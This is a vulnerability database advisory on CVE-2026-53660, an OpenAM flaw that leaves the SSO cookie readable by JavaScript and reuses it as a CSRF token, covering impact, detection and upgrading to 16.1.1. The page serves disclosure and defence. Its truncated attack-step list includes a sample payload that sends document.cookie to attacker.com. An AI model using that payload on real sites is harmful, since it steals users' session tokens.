
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-53660 is an Insecure SSO Cookie Initialization vulnerability in OpenAM Community Edition that ships the iPlanetDirectoryPro SSO cookie with HttpOnly=false by default, enabling JavaScript-based session theft. Additionally, the same cookie is reused as a CSRF token in OAuth/OIDC consent flows, compounding the attack surface. The vulnerability affects OpenAM Community Edition through version 16.0.6 (Maven package org.openidentityplatform.openam:openam-core) and was patched in version 16.1.1. It was first published by the vendor on June 29, 2026, and added to the GitHub Advisory Database on August 14, 2026. The CVSS v4.0 base score is 7.0 (High) (GitHub Advisory, OpenAM Advisory).
The root cause is an insecure default initialization (CWE-1188) in OpenAM's configuration, which sets the iPlanetDirectoryPro SSO cookie without the HttpOnly flag (CWE-1004) and without a SameSite attribute (CWE-1275). Because the HttpOnly flag is absent, any JavaScript executing in the OpenAM origin — including via a same-origin XSS vulnerability — can directly read the SSO cookie value via document.cookie. The design flaw is further compounded by the fact that the same iPlanetDirectoryPro cookie is used as the CSRF token in OAuth/OIDC consent flows, meaning a single XSS payload can simultaneously steal the session token and forge OAuth consent grants on behalf of the victim. Exploitation requires active user interaction (clicking an attacker-controlled link) but no privileges or special attack conditions (GitHub Advisory, OpenAM Advisory).
Successful exploitation allows an attacker to steal the iPlanetDirectoryPro SSO session token of any authenticated OpenAM console user, resulting in full session hijacking and unauthorized access to all resources protected by that SSO session. Because the stolen cookie also serves as the CSRF token in OAuth/OIDC flows, an attacker can simultaneously complete attacker-driven OAuth consent grants in a single step, potentially gaining access to third-party applications and services linked via OpenAM. The missing SameSite attribute further broadens the CSRF attack surface, enabling cross-site request forgery attacks against OpenAM endpoints from any origin (GitHub Advisory).
No public exploit code or in-the-wild exploitation has been reported as of the advisory publication date. The vulnerability requires chaining with a same-origin XSS vulnerability in the OpenAM deployment, and active user interaction (clicking a malicious link) is necessary. The CVE status is listed as "Reserved" in the NVD, and no EPSS score or CISA KEV catalog entry is currently available. The vulnerability was reported by researcher "wodzen" and disclosed through the OpenIdentityPlatform GitHub security advisory process (GitHub Advisory, OpenAM Release).
document.cookie to extract the iPlanetDirectoryPro SSO token (possible because HttpOnly=false) and exfiltrates it to an attacker-controlled server (e.g., new Image().src='https://attacker.com/steal?c='+document.cookie).iPlanetDirectoryPro cookie value to authenticate as the victim across all SSO-protected resources.iPlanetDirectoryPro session token being used from multiple distinct IP addresses or geographic locations within a short time window; OAuth/OIDC consent grant events not initiated by the legitimate user.The primary remediation is to upgrade OpenAM Community Edition to version 16.1.1, which sets the HttpOnly flag on the iPlanetDirectoryPro SSO cookie and addresses the insecure default initialization (OpenAM Release). As a temporary workaround prior to patching, administrators should review and manually configure the SSO cookie to include HttpOnly and an appropriate SameSite attribute (e.g., SameSite=Lax or SameSite=Strict) via OpenAM's cookie configuration settings. Additionally, deploying a Web Application Firewall (WAF) to detect and block XSS payloads targeting the OpenAM origin can reduce the risk of chained exploitation (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."